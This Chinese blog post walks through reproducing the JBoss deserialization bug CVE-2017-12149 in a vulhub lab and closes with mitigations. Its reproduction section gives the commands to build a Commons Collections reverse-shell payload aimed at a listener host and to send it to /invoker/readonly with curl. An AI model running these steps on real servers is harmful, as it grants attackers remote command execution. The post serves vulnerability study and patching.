Jboss反序列化(CVE-2017-12149)漏洞复现

漏洞概述:

JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,2006年,JBoss被Redhat公司收购。

2017年8月30日,厂商Redhat发布了一个JBOSSAS

5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter

过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS

6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

影响版本:

5.x、6.x

漏洞环境:

vulhub(centos7),kali

复现过程:

首先确定漏洞是否存在:

访问:http://*****/invoker/readonly,出现下面500状态说明就存在漏洞。

然后下载POC:https://github.com/joaomatosf/JavaDeserH2HC

主要是让poc生成一个二进制文件;具体命令如下

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.220.128:9999(地址和端口位kali地址及监听端口),出现警告,但二进制文件还是生成可以使用。

另开一个终端监听

最后curl,向攻击的服务器发送二进制payload。

curl http://192.168.220.131:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

查看是否反弹shell

上面shell反弹有点缺陷,可能是vulhub使用的java版本较新,所有想要对应vulhub复现可参考以下链接:

https://www.codercto.com/a/19208.html

漏洞修复:

建议升级到JBOSS AS7。

另,不能及时升级的,可采取如下临时解决方案:

1.  不需要 http-invoker.sar 组件的用户可直接删除此组件。

2.  添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。

最后:

提一下(CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞利用方式和CVE-2017-12149类似。

参考链接:

https://www.cnblogs.com/Oran9e/p/7897102.html

你可能感兴趣的:(Jboss反序列化(CVE-2017-12149)漏洞复现)